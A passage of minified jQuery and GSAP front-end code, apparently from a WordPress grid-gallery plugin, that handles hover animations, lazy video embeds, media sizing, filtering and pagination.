o=n.mainhoverdelay;if(t=="set"){o=0}e.data("hovertimer",setTimeout(function(){e.data("animstarted",1);punchgs.TweenLite.set(e,{z:0.01,x:0,y:0,rotationX:0,rotationY:0,rotationZ:0});e.addClass("esg-hovered");var i=e.find(".esg-entry-cover");punchgs.TweenLite.set(i,{transformStyle:"flat"});if(t!="set"){fixCenteredCoverElement(e,i)}if(e.find(".esg-entry-content").length>0&&t!="set"&&n.layout=="even"){var s=e.data("pt"),o=e.data("pb"),u=e.data("pl"),a=e.data("pr"),f=e.data("bt"),l=e.data("bb"),c=e.data("bl"),h=e.data("br");e.data("hhh",e.outerHeight());e.data("www",e.outerWidth());punchgs.TweenLite.set(e.find(".esg-entry-content"),{display:"block"});punchgs.TweenLite.set(e.find(".esg-entry-media"),{height:e.data("hhh")});punchgs.TweenLite.set(e,{z:0.1,zIndex:50,x:0-(u+a+h+c)/2,y:0-(s+o+f+l)/2,height:"auto",width:e.data("www")+u+a+c+h});if(n.evenGridMasonrySkinPusher=="on"){var p=e.height()-e.data("hhh");offsetParrents(p,e)}e.css({paddingTop:s+"px",paddingLeft:u+"px",paddingRight:a+"px",paddingBottom:a+"px"});e.css({borderTopWidth:f+"px",borderBottomWidth:l+"px",borderLeftWidth:c+"px",borderRightWidth:h+"px"});if(n.inanimation!=true){punchgs.TweenLite.set(e.closest(".esg-overflowtrick"),{overflow:"visible",overwrite:"all"})}}jQuery.each(esgAnimmatrix,function(n,i){e.find(i[0]).each(function(){var n=jQuery(this),s=n.data("delay")!=undefined?n.data("delay"):0;animfrom=i[2];animto=i[3];animto.delay=s;animto.overwrite="all";animfrom.overwrite="all";animto.transformStyle="flat";animto.force3D=true;var o=0;var u=i[0].indexOf("out")>-1;if(!n.hasClass("esg-entry-media")&&!u){animto.clearProps="transform"}animto.z=0.001;if(animfrom.transformPerspective==undefined){animfrom.transformPerspective=1000}if(n.hasClass("esg-overlay")){if(animfrom.z==undefined){animfrom.z=-0.002}animto.z=-10.0001}var a=n;var f=false;if(n.hasClass("esg-entry-media")&&n.find(".esg-media-video").length>0){return true}punchgs.TweenLite.killTweensOf(a,false);if(t=="set"){punchgs.TweenLite.set(a,animfrom)}else{switch(i[0]){case".esg-shifttotop":animto.y=0-e.find(".esg-bc.eec").last().height();punchgs.TweenLite.fromTo(n,0.5,{y:0},{y:animto.y});break;case".esg-slide":var l=directionPrepare(r,"in",e.width(),e.height());var c=new Object;var h=new Object;jQuery.extend(c,animfrom);jQuery.extend(h,animto);c.css.x=l.x;c.css.y=l.y;punchgs.TweenLite.fromTo(a,i[1],c,h,o);break;case".esg-slideout":var l=directionPrepare(r,"out",e.width(),e.height());var c=new Object;var h=new Object;jQuery.extend(c,animfrom);jQuery.extend(h,animto);h.x=l.x;h.y=l.y;h.clearProps="";punchgs.TweenLite.fromTo(a,i[1],c,h,o);break;default:punchgs.TweenLite.fromTo(a,i[1],animfrom,animto,o);break}}})})},o))}function videoClickEvent(e,t,n,r){e.css({transform:"none","-moz-transform":"none","-webkit-transform":"none"});e.closest(".esg-overflowtrick").css({transform:"none","-moz-transform":"none","-webkit-transform":"none"});e.closest("ul").css({transform:"none","-moz-transform":"none","-webkit-transform":"none"});if(!r){e.find(".esg-media-video").each(function(){var t=jQuery(this);if(t.data("youtube")!=undefined&&e.find(".esg-youtube-frame").length==0){var n=e.find(".esg-entry-media");var r="https://www.youtube.com/embed/"+t.data("youtube")+"?version=3&enablejsapi=1&html5=1&controls=1&autohide=1&rel=0&showinfo=0";n.append('<iframe class="esg-youtube-frame" wmode="Opaque" style="position:absolute;top:0px;left:0px;display:none" width="'+t.attr("width")+'" height="'+t.attr("height")+'" data-src="'+r+'" src="about:blank"></iframe>')}if(t.data("vimeo")!=undefined&&e.find(".esg-vimeo-frame").length==0){var n=e.find(".esg-entry-media");var i="http://player.vimeo.com/video/"+t.data("youtube")+"?title=0&byline=0&html5=1&portrait=0&api=1;";n.append('<iframe class="esg-vimeo-frame"  allowfullscreen="false" style="position:absolute;top:0px;left:0px;display:none" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen="" width="'+t.attr("width")+'" height="'+t.attr("height")+'" data-src="'+i+'" src="about:blank"></iframe>')}if(t.data("soundcloud")!=undefined&&e.find(".esg-soundcloud-frame").length==0){var n=e.find(".esg-entry-media");var s="https://w.soundcloud.com/player/?url=https://api.soundcloud.com/tracks/"+t.data("soundcloud")+"&auto_play=false&hide_related=false&visual=true&show_artwork=true";n.append('<iframe class="esg-soundcloud-frame" allowfullscreen="false" style="position:absolute;top:0px;left:0px;display:none" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen="" width="'+t.attr("width")+'" height="'+t.attr("height")+'" scrolling="no" frameborder="no" data-src="'+s+'" src="about:blank"></iframe>')}if((t.data("mp4")!=undefined||t.data("webm")!=undefined||t.data("ogv")!=undefined)&&e.find(".esg-video-frame").length==0){var n=e.find(".esg-entry-media");n.append('<video class="esg-video-frame" style="position:absolute;top:0px;left:0px;display:none" width="'+t.attr("width")+'" height="'+t.attr("height")+'" data-origw="'+t.attr("width")+'" data-origh="'+t.attr("height")+'" ></video');if(t.data("mp4")!=undefined){n.find("video").append('<source src="'+t.data("mp4")+'" type="video/mp4" />')}if(t.data("webm")!=undefined){n.find("video").append('<source src="'+t.data("webm")+'" type="video/webm" />')}if(t.data("ogv")!=undefined){n.find("video").append('<source src="'+t.data("ogv")+'" type="video/ogg" />')}}})}adjustMediaSize(e,true,null,n);var i=e.find(".esg-youtube-frame");if(i.length==0){i=e.find(".esg-vimeo-frame")}if(i.length==0){i=e.find(".esg-soundcloud-frame")}if(i.length==0){i=e.find(".esg-video-frame")}var s=e.find(".esg-entry-cover");var o=e.find(".esg-media-poster");if(i.attr("src")=="about:blank"){i.attr("src",i.data("src"));loadVideoApis(t,n);if(!r){punchgs.TweenLite.set(i,{opacity:0,display:"block"})}var u=setInterval(function(){if(i.attr("src").toLowerCase().indexOf("youtube")>0){if(prepareYT(i)==true){clearInterval(u);if(!r){if(is_mobile()){punchgs.TweenLite.set(i,{autoAlpha:1});punchgs.TweenLite.set(o,{autoAlpha:0});punchgs.TweenLite.set(s,{autoAlpha:0})}else{punchgs.TweenLite.to(i,0.5,{autoAlpha:1});punchgs.TweenLite.to(o,0.5,{autoAlpha:0});punchgs.TweenLite.to(s,0.5,{autoAlpha:0});playYT(i,r)}}}}else{if(i.attr("src").toLowerCase().indexOf("vimeo")>0){if(prepareVimeo(i)==true){clearInterval(u);if(!r){if(is_mobile()){punchgs.TweenLite.set(i,{autoAlpha:1});punchgs.TweenLite.set(o,{autoAlpha:0});punchgs.TweenLite.set(s,{autoAlpha:0})}else{punchgs.TweenLite.to(i,0.5,{autoAlpha:1});punchgs.TweenLite.to(o,0.5,{autoAlpha:0});punchgs.TweenLite.to(s,0.5,{autoAlpha:0})}playVimeo(i,r)}}}else{if(i.attr("src").toLowerCase().indexOf("soundcloud")>0){if(prepareSoundCloud(i)==true){clearInterval(u);if(!r){if(is_mobile()){punchgs.TweenLite.set(i,{autoAlpha:1});punchgs.TweenLite.set(o,{autoAlpha:0});punchgs.TweenLite.set(s,{autoAlpha:0})}else{punchgs.TweenLite.to(i,0.5,{autoAlpha:1});punchgs.TweenLite.to(o,0.5,{autoAlpha:0});punchgs.TweenLite.to(s,0.5,{autoAlpha:0})}playSC(i,r)}}}}}},100)}else{if(i.hasClass("esg-video-frame")){loadVideoApis(t,n);punchgs.TweenLite.set(i,{opacity:0,display:"block"});var u=setInterval(function(){if(prepareVideo(i)==true){clearInterval(u);if(!r){if(is_mobile()){punchgs.TweenLite.set(i,{autoAlpha:1});punchgs.TweenLite.set(o,{autoAlpha:0});punchgs.TweenLite.set(s,{autoAlpha:0})}else{punchgs.TweenLite.to(i,0.5,{autoAlpha:1});punchgs.TweenLite.to(o,0.5,{autoAlpha:0});punchgs.TweenLite.to(s,0.5,{autoAlpha:0})}playVideo(i,r)}}},100)}else{if(!r){if(is_mobile()){punchgs.TweenLite.set(i,{autoAlpha:1});punchgs.TweenLite.set(o,{autoAlpha:0});punchgs.TweenLite.set(s,{autoAlpha:0})}else{punchgs.TweenLite.set(i,{opacity:0,display:"block"});punchgs.TweenLite.to(i,0.5,{autoAlpha:1});punchgs.TweenLite.to(o,0.5,{autoAlpha:0});punchgs.TweenLite.to(s,0.5,{autoAlpha:0})}}if(i.attr("src")!=undefined){if(i.attr("src").toLowerCase().indexOf("youtube")>0){playYT(i,r)}if(i.attr("src").toLowerCase().indexOf("vimeo")>0){playVimeo(i,r)}if(i.attr("src").toLowerCase().indexOf("soundcloud")>0){playSC(i,r)}}}}}function prepareItemsInGrid(e,t){var n=e.container;n.addClass("esg-container");if(!t){n.find(".mainul>li").each(function(){jQuery(this).addClass("eg-newli")})}var r=n.find(".mainul>.eg-newli"),i=100/e.column,s=e.aspectratio,o=n.find(".esg-overflowtrick").parent().width(),u=n.find("ul").first(),a=n.find(".esg-overflowtrick").first(),f=0;s=s.split(":");aratio=parseInt(s[0],0)/parseInt(s[1],0);f=o/e.column/aratio;jQuery.each(r,function(t,r){var i=jQuery(r),s=i.find(".esg-entry-media"),o=s.find("img").attr("src");i.removeClass("eg-newli");punchgs.TweenLite.set(i,{force3D:"auto",autoAlpha:0,opacity:0});i.addClass("tp-esg-item");if(e.layout=="even"){if(o!=undefined){i.find(".esg-entry-media").wrap('<div class="esg-entry-media-wrapper" style="width:100%;height:100%; overflow:hidden;position:relative;"></div>');s.find("img").css({top:"0px",left:"0px",width:"100%",height:"auto",visibility:"visible",display:"block"})}}else{i.find(".esg-entry-media").wrap('<div class="esg-entry-media-wrapper" style="overflow:hidden;position:relative;"></div>')}i.find(".esg-media-video").each(function(){var t=jQuery(this),r=i.find(".esg-entry-media"),s="display:none;",o="data-src=",u="src=";if(t.data("poster")!=undefined&&t.data("poster").length>3){if(e.layout!="even"){r.append('<img class="esg-media-poster" src="'+t.data("poster")+'" width="'+t.attr("width")+'" height="'+t.attr("height")+'">');r.find("img").css({top:"0px",left:"0px",width:"100%",height:"auto",visibility:"visible",display:"block"})}else{r.append('<div class="esg-media-poster" style="background:url('+t.data("poster")+'); background-size:cover; background-position:center center">');r.find(".esg-media-poster").css({width:"100%",height:"100%",visibility:"visible",position:"relative",display:"block"})}}else{i.find(".esg-entry-cover").remove();s="display:block;";o="src=";u="data-src=";i.data("simplevideo",1)}if(i.find(".esg-click-to-play-video").length==0){i.find(".esg-entry-cover").find("*").each(function(){if(jQuery(this).closest("a").length==0&&jQuery(this).find("a").length==0){jQuery(this).addClass("esg-click-to-play-video")}});i.find(".esg-overlay").addClass("esg-click-to-play-video")}if(t.data("youtube")!=undefined){var a="https://www.youtube.com/embed/"+t.data("youtube")+"?version=3&enablejsapi=1&html5=1&controls=1&autohide=1&rel=0&showinfo=0";r.append('<iframe class="esg-youtube-frame" wmode="Opaque" style="position:absolute;top:0px;left:0px;'+s+'" width="'+t.attr("width")+'" height="'+t.attr("height")+'" '+o+'"'+a+'" '+u+'"about:blank"></iframe>')}if(t.data("vimeo")!=undefined){var f="http://player.vimeo.com/video/"+t.data("vimeo")+"?title=0&byline=0&html5=1&portrait=0&api=1";r.append('<iframe class="esg-vimeo-frame" style="position:absolute;top:0px;left:0px;'+s+'" frameborder="0" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen=""  width="'+t.attr("width")+'" height="'+t.attr("height")+'" '+o+'"'+f+'" '+u+'"about:blank"></iframe>')}if(t.data("soundcloud")!=undefined){var l="https://w.soundcloud.com/player/?url=https://api.soundcloud.com/tracks/"+t.data("soundcloud")+"&auto_play=false&hide_related=false&visual=true&show_artwork=true";r.append('<iframe class="esg-soundcloud-frame" style="position:absolute;top:0px;left:0px;'+s+'" frameborder="0" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen="" width="'+t.attr("width")+'" height="'+t.attr("height")+'" '+o+'"'+l+'" '+u+'"about:blank"></iframe>')}if(t.data("mp4")!=undefined||t.data("webm")!=undefined||t.data("ogv")!=undefined){r.append('<video class="esg-video-frame" controls style="position:absolute;top:0px;left:0px;'+s+'" width="'+t.attr("width")+'" height="'+t.attr("height")+'" data-origw="'+t.attr("width")+'" data-origh="'+t.attr("height")+'"></video');if(t.data("mp4")!=undefined){r.find("video").append('<source src="'+t.data("mp4")+'" type="video/mp4" />')}if(t.data("webm")!=undefined){r.find("video").append('<source src="'+t.data("webm")+'" type="video/webm" />')}if(t.data("ogv")!=undefined){r.find("video").append('<source src="'+t.data("ogv")+'" type="video/ogg" />')}}i.find(".esg-click-to-play-video").click(function(){var t=jQuery(this).closest(".tp-esg-item");videoClickEvent(t,n,e)});if(i.data("simplevideo")==1){waitMediaListeners(i)}});if(i.find(".esg-media-video").length==0){i.find(".esg-click-to-play-video").remove()}adjustMediaSize(i,true,null,e);if(i.find(".esg-entry-content").length>0&&i.find(".esg-media-cover-wrapper").length>0){if(i.find(".esg-entry-content").index()<i.find(".esg-media-cover-wrapper").index()){}else{i.find(".esg-entry-content").addClass("esg-notalone")}}i.find(".esg-entry-cover").each(function(e){var t=jQuery(this),n=t.data("clickable");t.find(".esg-top").wrapAll('<div class="esg-tc eec"></div>');t.find(".esg-left").wrapAll('<div class="esg-lc eec"></div>');t.find(".esg-right").wrapAll('<div class="esg-rc eec"></div>');t.find(".esg-center").wrapAll('<div class="esg-cc eec"></div>');t.find(".esg-bottom").wrapAll('<div class="esg-bc eec"></div>');t.find(".eec").append("<div></div>");if(n=="on"&&t.find(".esg-overlay").length==1){t.click(function(e){if(jQuery(e.target).closest("a").length==0){jQuery(this).find(".eg-invisiblebutton")[0].click()}}).css({cursor:"pointer"})}});i.data("pt",parseInt(i.css("paddingTop"),0));i.data("pb",parseInt(i.css("paddingBottom"),0));i.data("pl",parseInt(i.css("paddingLeft"),0));i.data("pr",parseInt(i.css("paddingRight"),0));i.data("bt",parseInt(i.css("borderTopWidth"),0));i.data("bb",parseInt(i.css("borderBottomWidth"),0));i.data("bl",parseInt(i.css("borderLeftWidth"),0));i.data("br",parseInt(i.css("borderRightWidth"),0));if(i.find(".esg-entry-content").length>0&&e.layout=="even"){i.css({paddingTop:"0px",paddingLeft:"0px",paddingRight:"0px",paddingBottom:"0px"});i.css({borderTopWidth:"0px",borderBottomWidth:"0px",borderLeftWidth:"0px",borderRightWidth:"0px"})}i.find(".eg-handlehideunder").each(function(){});if(e.ajaxContentTarget!=undefined&&jQuery("#"+e.ajaxContentTarget).length>0){i.find(".eg-ajaxclicklistener, a").each(function(){var t=jQuery(this),r=jQuery("#"+e.ajaxContentTarget).find(".eg-ajax-target");if(!r.parent().hasClass("eg-ajaxanimwrapper")){r.wrap('<div class="eg-ajaxanimwrapper" style="position:relative;overflow:hidden;"></div>')}if(t.data("ajaxsource")!=undefined&&t.data("ajaxtype")!=undefined){t.addClass("eg-ajax-a-button");t.click(function(){loadMoreContent(n,e,t);if(r.length>0){return false}else{return true}})}})}i.find(".eg-triggerfilter").click(function(){var t=jQuery(this).data("filter");jQuery(e.filterGroupClass+".esg-filterbutton,"+e.filterGroupClass+" .esg-filterbutton").each(function(){if(jQuery(this).data("filter")==t){jQuery(this).click()}});return false}).css({cursor:"pointer"});i.on("mouseenter.hoverdir, mouseleave.hoverdir",function(t){var n=jQuery(this),r=getDir(n,{x:t.pageX,y:t.pageY});if(t.type==="mouseenter"){itemHoverAnim(jQuery(this),"nope",e,r)}else{clearTimeout(n.data("hovertimer"));if(n.data("animstarted")==1){n.data("animstarted",0);n.removeClass("esg-hovered");var i=n.find(".esg-entry-cover"),s=0;if(n.find(".esg-entry-content").length>0&&e.layout=="even"){punchgs.TweenLite.set(n.find(".esg-entry-content"),{display:"none"});punchgs.TweenLite.set(n,{zIndex:5});punchgs.TweenLite.set(n.closest(".esg-overflowtrick"),{overflow:"hidden",overwrite:"all"});n.css({paddingTop:"0px",paddingLeft:"0px",paddingRight:"0px",paddingBottom:"0px"});n.css({borderTopWidth:"0px",borderBottomWidth:"0px",borderLeftWidth:"0px",borderRightWidth:"0px"});n.find(".esg-entry-media").css({height:"100%"});punchgs.TweenLite.set(n,{z:0,height:n.data("hhh"),width:n.data("www"),x:0,y:0});if(e.evenGridMasonrySkinPusher=="on"){offsetParrents(0,n)}}jQuery.each(esgAnimmatrix,function(e,t){n.find(t[0]).each(function(){var e=jQuery(this),i=e.data("delay")!=undefined?e.data("delay"):0,o=t[5],u=0;animobject=e,splitted=false;if(s<i){s=i}if(o.z==undefined){o.z=50}switch(t[0]){case".esg-slide":var a=directionPrepare(r,"in",n.width(),n.height(),true);o.x=a.x;o.y=a.y;punchgs.TweenLite.to(animobject,0.5,{y:o.y,x:o.x,overwrite:"all",onCompleteParams:[animobject],onComplete:function(e){punchgs.TweenLite.set(e,{autoAlpha:0})}});break;case".esg-slideout":var a=directionPrepare(r,"out",n.width(),n.height());o.x=0;o.y=0;o.overwrite="all";punchgs.TweenLite.fromTo(animobject,0.5,{autoAlpha:1,x:a.x,y:a.y},{x:0,y:0,autoAlpha:1,overwrite:"all"});break;default:o.force3D="auto";punchgs.TweenLite.to(animobject,t[4],o,u);break}})})}if(n.hasClass("esg-demo")){setTimeout(function(){itemHoverAnim(n)},800)}}});itemHoverAnim(i,"set",e);if(i.hasClass("esg-demo")){itemHoverAnim(i)}});loadVideoApis(n,e);setItemsOnPages(e);if(!t){}}function adjustMediaSize(e,t,n,r){if(e.find("iframe").length>0){e.find("iframe").each(function(i){var s=jQuery(this);s.data("origw",s.attr("width"));s.data("origh",s.attr("height"));var o=s.data("origw");var u=s.data("origh");if(n!=undefined){var a=n.itemw}else{var a=e.width()}ifh=a/o*u;a=Math.round(a);ifh=Math.round(ifh);s.data("neww",a);s.data("newh",ifh);if(t&&r.layout!="even"){punchgs.TweenLite.set(s,{width:a,height:ifh});punchgs.TweenLite.set(e.find(".esg-media-poster"),{width:a,height:ifh});punchgs.TweenLite.set(e.find(".esg-entry-media"),{width:a,height:ifh})}else{punchgs.TweenLite.set(s,{width:"100%",height:"100%"});punchgs.TweenLite.set(e.find(".esg-media-poster"),{width:"100%",height:"100%"});punchgs.TweenLite.set(e.find(".esg-entry-media"),{width:"100%",height:"100%"})}})}if(e.find(".esg-video-frame").length>0){e.find(".esg-video-frame").each(function(i){var s=jQuery(this);s.parent().data("origw",s.data("origw"));s.parent().data("origh",s.data("origh"));var o=s.data("origw");var u=s.data("origh");if(n!=undefined){var a=n.itemw}else{var a=e.width()}ifh=a/o*u;a=Math.round(a);ifh=Math.round(ifh);s.data("neww",a);s.data("newh",ifh);if(t&&r.layout!="even"){punchgs.TweenLite.set(s,{width:a,height:ifh});punchgs.TweenLite.set(e.find(".esg-media-poster"),{width:a,height:ifh});punchgs.TweenLite.set(e.find(".esg-entry-media"),{width:a,height:ifh})}else{punchgs.TweenLite.set(s,{width:"100%",height:"100%"});punchgs.TweenLite.set(e.find(".esg-media-poster"),{width:"100%",height:"100%"});punchgs.TweenLite.set(e.find(".esg-entry-media"),{width:"100%",height:"100%"})}})}}function setItemsOnPages(e){var t=e.container;var n=t.find(".mainul>li"),r=e.column*e.row;var i=e.rowItemMultiplier;var s=i.length;if(s>0){if(e.layout=="even"){r=0;for(var o=0;o<e.row;o++){var u=o-s*Math.floor(o/s);r=r+i[u][e.columnindex]}}}var a=r*e.currentpage,f=t.find(".esg-overflowtrick").parent().width(),l=a+r,c=jQuery(e.filterGroupClass+".esg-filterbutton.selected:not(.esg-navigationbutton),"+e.filterGroupClass+" .esg-filterbutton.selected:not(.esg-navigationbutton)"),h=0;if(jQuery(e.filterGroupClass+".esg-filter-wrapper, "+e.filterGroupClass+" .esg-filter-wrapper").length>0){jQuery.each(n,function(t,n){var r=jQuery(n);r.find(".esgbox").each(function(){if(e.lightBoxMode=="all"){jQuery(this).attr("rel","group")}else{if(e.lightBoxMode!="contentgroup"){jQuery(this).attr("rel","")}}});var i=true,s=0;jQuery.each(c,function(e,t){if(r.hasClass(jQuery(t).data("filter"))){i=false;s++}});if(e.filterLogic=="and"&&s<c.length){i=true}if(h>=a&&h<l&&!i){r.addClass("itemtoshow").removeClass("itemishidden").removeClass("itemonotherpage");if(e.lightBoxMode=="filterpage"||e.lightBoxMode=="filterall"){r.find(".esgbox").attr("rel","group")}h++}else{if(e.lightBoxMode=="filterall"){r.find(".esgbox").attr("rel","group")}if(!i){if(h<a||h>=l){r.addClass("itemonotherpage");r.removeClass("itemtoshow");h++}else{r.addClass("itemtoshow").removeClass("itemishidden").removeClass("itemonotherpage");h++}r.addClass("fitsinfilter")}else{r.addClass("itemishidden").removeClass("itemtoshow").removeClass("fitsinfilter")}}})}else{jQuery.each(n,function(t,n){var r=jQuery(n);r.find(".esgbox").each(function(){if(e.lightBoxMode=="all"){jQuery(this).attr("rel","group")}else{jQuery(this).attr("rel","")}});if(h>=a&&h<l){r.addClass("itemtoshow").removeClass("itemishidden").removeClass("itemonotherpage");h++}else{if(h<a||h>=l){r.addClass("itemonotherpage");r.removeClass("itemtoshow");h++}else{r.addClass("itemtoshow").removeClass("itemishidden").removeClass("itemonotherpage");h++}r.addClass("fitsinfilter")}})}e.nonefiltereditems=t.find(".itemtoshow, .fitsinfilter").length;if(e.loadMoreType!="none"){var p=0;var d=false;c.each(function(){var e=jQuery(this).data("filter");if(e!=undefined){var n=t.find("."+e).length;p=p+n;if(n==0){d=true}}});if(c.length==0||c.length==1){p=1}if(p==0||d){loadMoreItems(t,e)}}var v=jQuery(e.filterGroupClass+".esg-pagination,"+e.filterGroupClass+" .esg-pagination");v.find(".esg-pagination").remove();v.html("");e.maxpage=0;var m;var g=Math.ceil(e.nonefiltereditems/r);e.realmaxpage=g;if(g>7&&e.smartPagination=="on"){if(e.currentpage<3){for(var o=0;o<4;o++){if(o==e.currentpage){m="selected"}else{m=""}e.maxpage++;v.append('<div class="esg-navigationbutton esg-filterbutton esg-pagination-button '+m+'" data-page="'+o+'">'+(o+1)+"</div>")}v.append('<div class="esg-navigationbutton">...</div>');v.append('<div class="esg-navigationbutton esg-filterbutton esg-pagination-button '+m+'" data-page="'+(g-1)+'">'+g+"</div>")}else{if(g-e.currentpage<4){v.append('<div class="esg-navigationbutton esg-filterbutton esg-pagination-button '+m+'" data-page="0">1</div>');v.append('<div class="esg-navigationbutton">...</div>');for(var o=g-4;o<g;o++){if(o==e.currentpage){m="selected"}else{m=""}e.maxpage++;v.append('<div class="esg-navigationbutton esg-filterbutton esg-pagination-button '+m+'" data-page="'+o+'">'+(o+1)+"</div>")}}else{v.append('<div class="esg-navigationbutton esg-filterbutton esg-pagination-button '+m+'" data-page="0">1</div>');v.append('<div class="esg-navigationbutton">...</div>');for(var o=e.currentpage-1;o<e.currentpage+2;o++){if(o==e.currentpage){m="selected"}else{m=""}e.maxpage++;v.append('<div class="esg-navigationbutton esg-filterbutton esg-pagination-button '+m+'" data-page="'+o+'">'+(o+1)+"</div>")}v.append('<div class="esg-navigationbutton">...</div>');v.append('<div class="esg-navigationbutton esg-filterbutton esg-pagination-button '+m+'" data-page="'+(g-1)+'">'+g+"</div>")}}}else{for(var o=0;o<g;o++){if(o==e.currentpage){m="selected"}else{m=""}e.maxpage++;v.append('<div class="esg-navigationbutton esg-filterbutton esg-pagination-button '+m+'" data-page="'+o+'">'+(o+1)+"</div>")}}if(e.maxpage==1){jQuery(e.filterGroupClass+".esg-navigationbutton,"+e.filterGroupClass+" .esg-navigationbutton").not(".esg-loadmore").css({display:"none"});v.css({display:"none"})}else{jQuery(e.filterGroupClass+".esg-navigationbutton,"+e.filterGroupClass+" .esg-navigationbutton").css({display:"inline-block"});v.css({display:"inline-block"})}if(e.currentpage>=Math.ceil(e.nonefiltereditems/r)){e.oldpage=e.currentpage;e.currentpage=0;var y=0;t.find(".itemtoshow, .fitsinfilter").each(function(){y++;if(y<l){jQuery(this).removeClass("itemonotherpage")}});v.find(".esg-pagination-button").first().addClass("selected")}if(e.currentpage<0){e.currentpage=0}v.find(".esg-pagination-button").on("click",function(){e.oldpage=e.currentpage;e.currentpage=jQuery(this).data("page");e=getOptions(t);var n=getBestFitColumn(e,jQuery(window).width(),"id");e.column=n.column;e.columnindex=n.index;setItemsOnPages(e);organiseGrid(e);setOptions(t,e);stopAllVideos(true);if(e.paginationScrollToTop=="on"){jQuery("html, body").animate({scrollTop:t.offset().top-e.paginationScrollToTopOffset},{queue:false,speed:0.5})}});if(e.firstshowever==undefined){jQuery(e.filterGroupClass+".esg-navigationbutton,"+e.filterGroupClass+" .esg-navigationbutton").css({visibility:"hidden"})}}function waittorungGrid(e,t,n){var r=e.closest(".mainul");clearTimeout(r.data("intreorganisier"));if(!r.hasClass("gridorganising")){runGrid(t,n)}else{r.data("intreorganisier",setTimeout(function(){waittorungGrid(e,t,n)},10))}}function loadAllPrepared(e,t){if(e.data("preloading")==1){return false}var n=t.aspectratio,r=parseInt(n[0],0)/parseInt(n[1],0),i=new Image;if(e.data("lazysrc")!=e.attr("src")&&e.data("lazysrc")!=undefined&&e.data("lazysrc")!="undefined"){if(e.data("lazysrc")!=undefined&&e.data("lazysrc")!="undefined"){e.attr("src",e.data("lazysrc"))}}e.data("preloading",1);i.onload=function(n){e.data("lazydone",1);e.data("ww",i.width);e.data("hh",i.height);e.closest(".showmeonload").addClass("itemtoshow").removeClass("showmeonload").addClass("loadedmedia");evenImageRatio(e,t);if(t.lazyLoad=="on"){waittorungGrid(e,t,true)}};i.onerror=function(){e.data("lazydone",1);e.closest(".showmeonload").addClass("itemtoshow").removeClass("showmeonload").addClass("loadedmedia");if(t.lazyLoad=="on"){waittorungGrid(e,t,true)}};if(e.attr("src")!=undefined&&e.attr("src")!="undefined"){i.src=e.attr("src")}else{i.src=e.data("src")}if(i.complete){e.data("lazydone",1);e.data("ww",i.width);e.data("hh",i.height);e.closest(".showmeonload").addClass("itemtoshow").removeClass("showmeonload").addClass("loadedmedia");evenImageRatio(e,t);if(t.lazyLoad=="on"){waittorungGrid(e,t,true)}}}function organiseGrid(e){var t=e.container;if(e.listneractivated==undefined){t.on("visibleimagesloaded",function(){runGrid(e)});e.listneractivated=true;setOptions(t,e)}waitForLoads(t.find(".itemtoshow"),e)}function evenImageRatio(e,t,n){if(t.layout=="even"&&e.is(":visible")){var r=t.aspectratio;r=r.split(":");var i=parseInt(r[0],0)/parseInt(r[1],0),s=e.data("ww"),o=e.data("lazydone");if(s==undefined&&o==1||t.forceFullScreen=="on"&&o==1||n&&s!=undefined){var u=e.data("hh"),a=s/u;if(a>=i){var f=u/r[1],l=u/f,c=s/f,h=(c-r[0])/2;h=100/r[0]*h;e.css({position:"absolute",width:"auto",height:"101%",top:"0%",left:0-h+"%"})}else{var f=s/r[0],l=u/f,c=s/f,h=(l-r[1])/2;h=100/r[1]*h;e.css({position:"absolute",width:"101%",height:"auto",left:"0%",top:0-h+"%"})}removeLLCover(e)}}else{removeLLCover(e)}}function removeLLCover(e){if(!e.hasClass("coverremoved")&&e.parent().find(".lazyloadcover").length>0){e.addClass("coverremoved");punchgs.TweenLite.to(e.parent().find(".lazyloadcover"),0.5,{autoAlpha:0,ease:punchgs.Power3.easeInOut,onComplete:function(){e.parent().find(".lazyloadcover").remove()}})}}function runGrid(e,t){var n=e.container;if(e.firstshowever==undefined){if(n.is(":hidden")){punchgs.TweenLite.set(n,{autoAlpha:1,display:"block"});setTimeout(function(){runGridMain(e,t);jQuery(e.filterGroupClass+".esg-navigationbutton, "+e.filterGroupClass+" .esg-navigationbutton").css({visibility:"visible"})},300)}else{runGridMain(e,t);jQuery(e.filterGroupClass+".esg-navigationbutton, "+e.filterGroupClass+" .esg-navigationbutton").css({visibility:"visible"})}e.firstshowever=1}else{runGridMain(e,t);jQuery(e.filterGroupClass+".esg-navigationbutton, "+e.filterGroupClass+" .esg-navigationbutton").css({visibility:"visible"})}}function getCobblePat(e,t){var n=new Object;n.w=1;n.h=1;e=e.split(",");if(e!=undefined){e=e[t-Math.floor(t/e.length)*e.length].split("x");n.w=e[0];n.h=e[1]}return n}function runGridMain(e,t){var n=e.container,r=n.find(".itemtoshow, .isvisiblenow").not(".ui-sortable-helper"),i=new Object,s=n.find("ul").first(),o=n.find(".esg-overflowtrick").first(),u=e.aspectratio,a,f=0;e.aspectratioOrig=e.aspectratio;n.find(".mainul").addClass("gridorganising");u=u.split(":");a=parseInt(u[0],0)/parseInt(u[1],0);i.item=0;i.pagetoanimate=0-e.currentpage;i.col=0;i.row=0;i.pagecounter=0;i.itemcounter=0;i.fakecol=0;i.fakerow=0;i.maxheight=0;i.allcol=0;i.allrow=0;i.ulcurheight=0;i.ulwidth=s.width();i.verticalsteps=1;i.currentcolumnheight=new Array;for(var l=0;l<e.column;l++){i.currentcolumnheight[l]=0}i.pageitemcounterfake=0;i.pageitemcounter=0;if(e.delayBasic!=undefined){i.delaybasic=e.delayBasic}else{i.delaybasic=0.08}i.anim=e.pageAnimation;i.itemtowait=0;i.itemouttowait=0;i.ease="punchgs.Power1.easeInOut";i.easeout=i.ease;i.row=0;i.col=0;var c=e.rowItemMultiplier,h=c.length,p=e.column;i.y=0;i.fakey=0;n.find(".esg-overflowtrick").css({width:n.find(".esg-overflowtrick").parent().width()});i.cwidth=n.find(".esg-overflowtrick").width()-e.overflowoffset*2;e.inanimation=true;i.cwidth_n_spaces=i.cwidth-(e.column-1)*e.space;i.itemw=Math.round(i.cwidth_n_spaces/e.column);i.originalitemw=i.itemw;if(e.forceFullScreen=="on"){f=jQuery(window).height();if(e.fullScreenOffsetContainer!=undefined){try{var 